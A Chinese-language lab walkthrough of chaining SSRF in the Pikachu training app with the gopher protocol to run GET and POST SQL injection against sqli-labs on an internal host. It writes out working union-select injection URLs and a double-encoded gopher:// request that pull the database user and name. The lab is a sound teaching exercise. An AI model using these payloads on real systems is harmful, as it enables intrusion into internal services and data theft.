实验环境;
Centos7.6上同时安装sqli-lib和pikachu
一.Gopher 协议对内网 Web 服务进行 sql 注入 GET 类型
我们先访问sqli-lib第1关
然后我们构造URL:
http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-
labs/Less-1/?id=-1' union select 1,user(),database() --+
我们再到pikachu靶场里面进行ssrf实验:
发现报错了,这里我们需要进行两次编码:
为什么要 2 次编码?
1. 首先我们发给服务器的时候 URL 地址中不能包含特殊字符,需要第一次编码。先解码%25
2. 服务器接收到我们的 URL 地址之后由 url_exec()解析 URL 地址,此时服务器进行第二次解码。
第二次解码则解码空格以及特殊字符。
第一次:只对传递的参数id进行编码。
然后我们可以看到成功利用pikachu靶场访问sqli-lib并利用sql注入漏洞。
我们再bp抓包:
利用脚本进行编码:
_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
然后拼接URL:gopher://192.168.112.12:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
然后我们对其进行二次编码:
我们也是成功利用gopher协议完成SSRF的GET请求。
二.Gopher 协议对内网 Web 服务进行 sql 注入POST 类型
我们依旧先打开sqli-lab靶场进入11关:
然后bp抓包
我们利用编码脚本先对POST请求进行编码:
然后我们得到结果构造URL:
在前面添加:gopher://192.168.112.12/
然后我们在pikachu里面进行URL构造:
再编码一次就可以了。
我们也是成功利用POST请求拿到sqli-lab的数据库名称和user表